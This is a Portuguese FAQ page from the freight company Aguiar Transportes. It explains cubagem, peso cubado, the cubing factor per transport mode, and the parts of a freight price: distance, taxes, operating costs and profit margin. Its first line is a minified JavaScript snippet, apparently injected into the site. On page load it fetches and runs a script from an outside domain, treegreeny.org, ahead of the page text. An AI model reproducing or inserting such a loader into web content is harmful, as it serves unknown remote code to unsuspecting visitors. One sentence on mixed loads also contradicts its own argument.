;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Perguntas Frequentes – Aguiar Transportes

Perguntas Frequentes

O termo cubagem está relacionado à noção de um cubo que, de acordo com as leis da física, tem seu volume determinado pela seguinte fórmula:

Volume = Comprimento x Altura x Largura.

Então, de modo geral, a cubagem é estabelecida justamente pela solução dessa fórmula, que indica o volume que uma carga ocupará em um caminhão. Acompanhe o exemplo:

Uma caixa tem 2 metros de altura, 1 m de largura e 1,5 m de comprimento;

Seguindo a fórmula, temos: 2,00 m x 1,00 m x 1,50 m = 3 m³;

Dessa forma, 3 m³ é o volume do objeto e a superfície total que ele vai tomar em um caminhão.

Todavia, no universo logístico, o conceito de cubagem é um pouco mais amplo, pois ele é usado para estipular a relação entre o peso de uma mercadoria totalmente embalada e pronta para o envio com o espaço que ela preenche no veículo.

Por isso, para completar esse cálculo, é preciso considerar também o fator de cubagem — sobre o qual falaremos adiante. Em suma, essa matemática é necessária para que todo o espaço físico e capacidade de peso de uma frota sejam bem aproveitados.

É uma constante, um número que define, em média, qual seria a cubagem ideal (relação entre peso e volume) de uma carga. Seu valor equivale a um metro cúbico (1 m³) do espaço do veículo usado para a movimentação. Como cada modal apresenta cargas e capacidades diferentes, as grandezas frequentemente adotadas são:

Aéreo: 166,7 kg;

Marítimo: 1.000 kg;

Rodoviário: 300 kg.

Vale notar que esses valores são estimativas muito comuns, mas não formam uma regra. Tanto que transportadoras que trabalham com cargas fracionadas optam por um número menor para calcular seu frete.

Como elas distribuem vários tipos de mercadoria — com pesos e volumes distintos —, muitas vezes não é possível preencher os 300 kg/m³ do veículo escolhido. Nessas situações, pode-se considerar entre 200 e 250 kg/m³.

Representa uma unidade de peso (em kg) que é calculada ao considerar o volume que uma carga ocupa em um veículo. Essa variável é usada para determinar o frete peso, que consiste em comparar o peso físico de uma mercadoria e seu peso cubado. O valor final é feito com base no maior resultado. Conheça sua fórmula e um exemplo do cálculo:

Peso cubado = Comprimento x Largura x Altura x Fator cubagem;

Uma caixa com as dimensões de 80 cm x 60 cm x 30 cm tem o seguinte peso cubado: 0,80 x 0,60 x 0,30 x 300 (fator cubagem padrão) = 43,2 kg.

Cabe ressaltar aqui que, para otimizar a conta, é necessário nivelar as unidades de medida, isto é, transformar as dimensões em metros antes de inseri-las na fórmula.

O objetivo da cubagem é ajudar empresas a aprimorarem o carregamento e a distribuição de cargas e se planejarem financeiramente para tornar a precificação a mais justa possível. Um exemplo clássico para entender o papel dessa métrica é a comparação entre movimentar 10 toneladas de algodão ou 10 t de metal.

Conduzir essa quantidade de algodão, por ele ser muito leve, não seria uma tarefa fácil: 10 toneladas representam um volume enorme desse material e, para cumprir esse trabalho, vários caminhões seriam necessários — o que não é vantajoso para a transportadora, já que a capacidade de carga do veículo é mal aproveitada nesse cenário.

Por outro lado, lidar com mercadorias muito pequenas, mas bastante pesadas, pode comprometer o limite de peso do veículo, sem que se usufrua do espaço interno.

Dessa maneira, a cubagem propicia que a capacidade de carga e a superfície disponível sejam igualmente bem aplicadas, visando o equilíbrio entre peso físico e espaço. Consequentemente, os envios são consolidados de forma eficaz, evitando situações de risco, como sobrepeso e ociosidade, que promovem o desperdício e o aumento dos gastos operacionais.

Até aqui, você entendeu a diferença entre fator de cubagem e os demais conceitos referentes à consolidação da carga. Agora, é a hora de verificar como tudo isso afeta a maneira como calcular frete.

Para chegar a um resultado definitivo é preciso ponderar diversos valores, o que exige a inclusão de alguns elementos na conta. A seguir, compreenda o que deve ser considerado e veja quais são os pontos cruciais.

Tipo de transporte

Primeiramente, a modalidade escolhida para o transporte faz a diferença para o cálculo. No caso dos Correios, a cubagem é essencial, pois as dimensões e o peso do produto têm grande influência.

Já para empresas que contratam uma transportadora, as condições variam com cada empreendimento. Questões como volume podem ter menos impacto que o tipo de transporte selecionado. Contratos de médio e longo prazo também oferecem características diversas e que devem ser levadas em conta.

Para a frota própria ou de motoristas terceirizados, o peso é conjugado a outros fatores, como distância a ser percorrida, rota selecionada, custo de mão de obra e serviços extras, como a coleta agendada.

Distância

Por falar nesse fator, a distância é determinante para definir o preço de um frete. Afinal, um transporte do mesmo produto será mais barato quanto mais perto for o local de destino. Com menos consumo e uma redução nas horas de viagem, os gastos se tornam menores.

A distância também tem a ver com os pedágios. Em geral, caminhos longos incluem um número maior de postos de parada e, portanto, cobranças elevadas. Como consequência, viagens distantes levam a um valor extra no cálculo final do frete.

Para completar, há a questão das rotas. Geralmente, locais que são acessados com dificuldade levam a custos maiores em todos os aspectos e isso deve ser considerado ainda no planejamento.

Características do produto

O fator de cubagem, como visto, ajuda a identificar o volume que um item ocupa dentro de um veículo. Como ele é determinante para o cálculo, não dá para ignorar que as características do produto têm grande influência.

As dimensões e o peso impactam diretamente o cálculo e os custos, justamente para garantir uma boa distribuição dos componentes. Ao mesmo tempo, é preciso considerar o cálculo de cubagem para levar ao aproveitamento correto da frota. Assim, é possível evitar que os caminhões saiam muito pesados ou vazios, o que prejudica o valor a ser pago pelo transporte.

Impostos

Em geral, o transporte de cargas tem que pagar impostos como o ICMS e o ISS. Também é obrigatório realizar a emissão de documentos específicos, como o CT-e e as notas fiscais. Dependendo dos pontos de origem e destino e das características de cada item, as alíquotas são diferentes.

O cálculo desses elementos, normalmente, é repassado para o custo geral de frete. Então, é muito importante colocar tudo na ponta do lápis para reconhecer quais são os números que interferem na construção de resultados.

Despesas operacionais

Além de tudo, é fundamental considerar todas as despesas operacionais referentes ao processo de transporte. No caso de uma empresa com frota própria, há custos de depreciação de veículos, manutenção e combustível. Com o contrato de profissionais autônomos, há os valores de contrato.

Para o uso de transportadoras ou dos Correios, há gastos referentes à gestão de contratos, negociação de custos, acompanhamento de transporte, planejamento de logística e assim por diante. Muitas vezes, esses custos surgem de forma indireta, mas ainda têm impactos diretos em qual será o total a ser pago.

Margem de lucro

Depois de adicionar todos os gastos que ajudam na composição do preço, é preciso considerar a rentabilidade da etapa. No caso das empresas responsáveis por contratos de transportes, há a incidência da margem de lucro. Ela corresponde aos ganhos associados à atividade e são repassados a quem contrata o serviço.

Muitas vezes, esse é o valor com mais impacto nos preços. Em um cenário com condições muito semelhantes, a taxa de lucratividade aplicada ao cálculo faz a diferença para dar origem a gastos maiores ou menores.

Na etapa de como calcular frete, há a soma de todos os custos que foram selecionados, além da adoção da margem de lucro. O resultado é o custo repassado ao cliente que decide fazer a movimentação.

As cargas fracionadas incluem remessas de diversos produtos e classes que, sozinhos, não ocupariam todo o espaço disponível em um veículo. Em vez de transportar apenas um tipo de mercadoria, há a escolha de várias porções, de acordo com as necessidades.

Inclusive, é uma opção que tem tudo a ver com o fator de cubagem. Por meio do cálculo sobre o volume ocupado em relação ao peso, dá para definir uma configuração otimizada. No caso das 10 t de algodão e das 10 t de metal, pode valer mais a pena misturar os dois em um só transporte. Assim, o veículo fica pesado demais e ele não deixa de ocupar o máximo da área disponível.

Tudo começa com o cálculo do peso cubado, por meio do fator de cubagem. Se o valor for maior que o peso real do item, então esse é o número a ser usado.

Depois, o valor deve ser considerado na Tabela de Fretes Fracionados, da Associação Nacional do Transporte de Cargas e Logística. Os números são reajustados mensalmente, de acordo com índices do setor. A cifra depende da faixa de peso e pela distância percorrida. Quanto maiores forem essas características, maior é o preço associado.

Depois, é preciso calcular o frete valor, o qual está associado ao custo da carga e de um percentual, também encontrado na tabela.

A esse custo devem ser adicionados outros números, como o de gerenciamento de risco e a taxa de despacho. Depois, são calculados valores referentes ao pedágio e até a serviços extras, como o agendamento de coleta.

No final, o custo do transporte de carga fracionada é a soma de todas essas parcelas. Sem o fator de cubagem, ele não seria possível e a configuração se tornaria menos interessante.

Como podemos ver, cubagem, peso cubado e fator de cubagem são conceitos complementares que ajudam transportadoras a fazerem carregamentos mais eficientes. Quando a empresa é capaz de otimizar o espaço e o rendimento de um caminhão, consegue oferecer serviços de maior qualidade e reduzir custos, o que é primordial para praticar preços de frete mais competitivos.